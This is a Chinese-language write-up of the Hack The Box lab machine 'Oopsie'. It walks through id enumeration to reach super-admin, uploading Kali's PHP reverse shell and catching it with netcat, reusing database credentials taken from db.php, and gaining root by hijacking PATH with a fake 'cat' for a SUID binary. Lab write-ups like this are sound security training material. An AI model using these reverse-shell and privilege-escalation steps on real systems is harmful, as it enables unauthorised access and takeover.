热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

HackerTheBox之Oopsie9

注意:我这机器的IP用了两个,第一个10.129.226.120。第二个10.129.228.3。(中途吃个饭,ope

注意:我这机器的IP用了两个,


第一个10.129.226.120。


第二个10.129.228.3。


(中途吃个饭,openvpn断了,机器重置,文章也弄到一大把了就没重做了)



信息收集

还是老规矩,先用nmap扫一下,开启什么端口

nmap -v -sS -sV 10.129.226.120

发现开启的是22 和80 端口

先访问一波

随便浏览了一下,没啥发现


路径泄露

打开bp看看能不能有什么发现

发现登录窗口

http://10.129.226.120/cdn-cgi/login/

 

这里的账号是admin
密码是上一个场景已经获得的MEGACORP_4dm1n!!
登录后跳转到门户页面
(其实这一步我也没想到,查看官方wp后也是一脸懵逼)
(But there is also an option to Login as Guest . Trying that and now we are presented with couple of new
navigation options as we are logged in as Guest:
但也有一个选择以来宾身份登录。
尝试一下,现在我们看到了一些新的
作为来宾登录时的导航选项:
)
有没有大佬解惑一下

 越权

简单浏览一下,发现Upload选项,但是需要Super Admin权限才行

 同时也发现在Accounts板块中存在来宾用户和id=2

10.129.226.120/cdn-cgi/login/admin.php?content=accounts&id=2

瞎测试一下id=1

10.129.226.120/cdn-cgi/login/admin.php?content=accounts&id=1

 发现存在admin用户,那这思路就明确了

同时抓报,也能验证我们的思路,用COOKIE 的id来标识身份权限 

  即如 34322 = admin    2233 = guest

 

尝试遍历,能不能发现超级管理员身份

在终端内用循环生成数字1~100到date.txt里

for i in `seq 1 100`; do echo $i >>date.txt;done;

接下来将Accounts板块的包,使用burp suite的Intruder模块进行自动化攻击

调试参数

 然后运行,在结果里发现我们想要的id了

 我这因为bp存在(嵌入式浏览器初始化失败)所有直接访问

成功获得super admin 的Access ID 为 86575


文件上传


将kali中自带的shell提取到桌面

cp /usr/share/webshells/php/php-reverse-shell.php ~/桌面

vim 修改本机地址和监听端口


采用kali自带的dirbuster进行扫描 ,寻找上传路径(在kali中扫描字典的默认位置是/usr/share/wordlists/dirbuster)

根据扫描的结果猜测上传的文件在http://10.129.228.3/uploads/下

 


上传webs hell (在这有个魔鬼细节,,就是记得加上文件name,不然一定会触发失败)

 


 


启用netcat监听设置的端口来接收webshell

nc -nvvp 1234

访问链接来触发php从而反弹webshell


切回nc的终端,nc成功接收到webshell,反弹webshell成功


升级shell (在这查阅了另外一个大佬的资料,做了升级shell)


        交互式模式就是shell等待你的输入,并且立即执行你提交的命令,退出后才终止
        非交互式模式就是以shell script方式执行,shell不与你进行交互,而是读取存放在文件中的命令并执行它们,读取到结尾就终止


SHELL=/bin/bash script -q /dev/null //见注解1
Ctrl-Z //见注解2
stty raw -echo //见注解3
fg //见注解4
reset //见注解5
xterm //见注解6

 


1.将在环境变量下将shell设置为/bin/bash且参数为-q和/dev/null的情况下运行脚本,

-q参数为静默运行,输出到/dev/null(黑洞)里,如果不加script -q /dev/null不会新启一个bash,shell=/bin/bash只是设置shell为bash,加了以后会给你挂起一个新的shell,并帮你记录所有内容
2.将netcat暂挂至后台
3.将本地终端置于原始模式,以免干扰远程终端
4.将netcat返回到前台,注意:这里不会显示输入的命令
5.重置远程终端,经测试也可以不进行此操作
6.运行xterm
 


 


 执行完上述操作后,我们会获得一个交互式的shell,可以执行su、ctrl+c等命令,且可以tab自动补全了


横向移动

翻阅信息发现在/var/www/html/cdn-cgi/login目录中存在一个数据库的连接信息db.php,
里面包含用户名为robert,密码为M3g4C0rpUs3r!

在这里可以找到位于robert用户根目录下的user.txt,拿到User Own的Flag

 


 提权

可以使用sudo 和 id命令发现robert用户属于bugtracker组,
我们观察到用户 robert 是组 bugtracker 的一部分。
让我们试试看里面是否有二进制文件

find / -type f -group bugtracker 2>/dev/null //-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件

 

注意通常记为 SUID(Set owner User ID),用户访问的特殊权限级别只有一个功能:具有 SUID 的文件始终以拥有该文件的用户身份执行文件,无论用户传递命令。 如果文件所有者没有执行权限,然后在此处使用大写的 S。在我们的例子中,二进制 'bugtracker' 归 root 所有,我们可以以 root 身份执行它,因为它设置了 SUID。

 

 

用strings查看 /usr/bin/bugtracker
发现cat /root/reports/


 1.bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限
2.并且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root


export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限

 

这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,
我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,
执行id命令发现只是robert用户的uid变为了root,不是真正的root用户然后可以找到/root目录下的root.txt拿到SYSTEM OWN的Flag
(需要注意的是此时cat命令已被替换无法读取文件,可以使用more命令)

 

 

 

 

 


推荐阅读
  • 本文讨论了在手机移动端如何使用HTML5和JavaScript实现视频上传并压缩视频质量,或者降低手机摄像头拍摄质量的问题。作者指出HTML5和JavaScript无法直接压缩视频,只能通过将视频传送到服务器端由后端进行压缩。对于控制相机拍摄质量,只有使用JAVA编写Android客户端才能实现压缩。此外,作者还解释了在交作业时使用zip格式压缩包导致CSS文件和图片音乐丢失的原因,并提供了解决方法。最后,作者还介绍了一个用于处理图片的类,可以实现图片剪裁处理和生成缩略图的功能。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • MVC设计模式的介绍和演化过程
    本文介绍了MVC设计模式的基本概念和原理,以及在实际项目中的演化过程。通过分离视图、模型和控制器,实现了代码的解耦和重用,提高了项目的可维护性和可扩展性。详细讲解了分离视图、分离模型和分离控制器的具体步骤和规则,以及它们在项目中的应用。同时,还介绍了基础模型的封装和控制器的命名规则。该文章适合对MVC设计模式感兴趣的读者阅读和学习。 ... [详细]
author-avatar
手机用户2502855967
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有